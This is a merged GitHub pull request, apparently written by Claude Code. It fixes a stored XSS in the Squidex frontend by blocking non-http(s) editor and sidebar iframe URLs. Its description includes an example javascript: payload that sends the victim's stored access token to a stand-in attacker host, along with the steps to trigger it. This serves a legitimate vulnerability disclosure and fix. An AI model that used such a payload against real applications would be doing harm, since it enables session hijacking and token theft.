Skip to content

[frontend] Block non-http(s) editor and sidebar URLs to prevent stored XSS through iframes - #1355

Merged
SebastianStehle merged 1 commit into
masterfrom
claude/daily-frontend-2026-10-26
Oct 26, 2026
Merged

SebastianStehle merged 1 commit into
masterfrom
claude/daily-frontend-2026-10-26

Conversation

@github-actions

Copy link
Copy Markdown
Contributor

Category: Security (stored XSS / privilege escalation)
Severity: High

Affected files

  • frontend/src/app/shared/utils/editor-utils.ts
  • frontend/src/app/shared/utils/editor-utils.spec.ts

Problem

Custom field editors (field.properties.editorUrl), schema extensions (contentsSidebarUrl, contentSidebarUrl, contentEditorUrl, contentsListUrl) and app-level editors (settings.editors[].url) are all resolved through computeEditorUrl() and then put into an <iframe [attr.src]> through the sqxSafeResourceUrl pipe. That pipe calls DomSanitizer.bypassSecurityTrustResourceUrl(), so Angular does no sanitizing at all.

Neither the backend nor the frontend checks the URL scheme. The type="url" input in the schema editor is only a browser hint, and the REST API skips it completely. A URL like javascript:... used as an iframe src runs in the parent document's origin, so the script runs inside the Squidex UI with the victim's session. It can read the access token and call the API as that user.

How it could be triggered

  1. A user who can edit a schema (or app settings) but is not an owner sets a field's editor URL, a sidebar URL, or an app editor URL to javascript:fetch('https://attacker/?t='+localStorage.getItem(...)) (or anything else). This works through the API or the UI.
  2. Any other user, including an app owner or an admin, opens the content list or a content item of that schema.
  3. The iframe loads the javascript: URL and the payload runs in the Squidex origin as that user.

Fix

computeEditorUrl() now resolves the interpolated URL against the current location. If the resulting protocol is anything other than http: or https: (for example javascript:, data: or vbscript:), it returns an empty string. The check runs after placeholders are interpolated, so a malicious app-level editor URL referenced via ${name} is blocked as well. Relative and absolute http(s) URLs keep working as before. Unit tests cover unsafe protocols (including case and leading-whitespace variants), interpolated unsafe URLs and relative URLs.

Follow-up (not in this PR)

The backend should also validate these URL properties (field EditorUrl, schema sidebar/editor URLs, app editor URLs) as absolute or relative http(s) URLs, so bad values are rejected when they are saved.

🤖 Generated with Claude Code

@SebastianStehle
SebastianStehle merged commit 58d56ed into master Oct 26, 2026
7 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant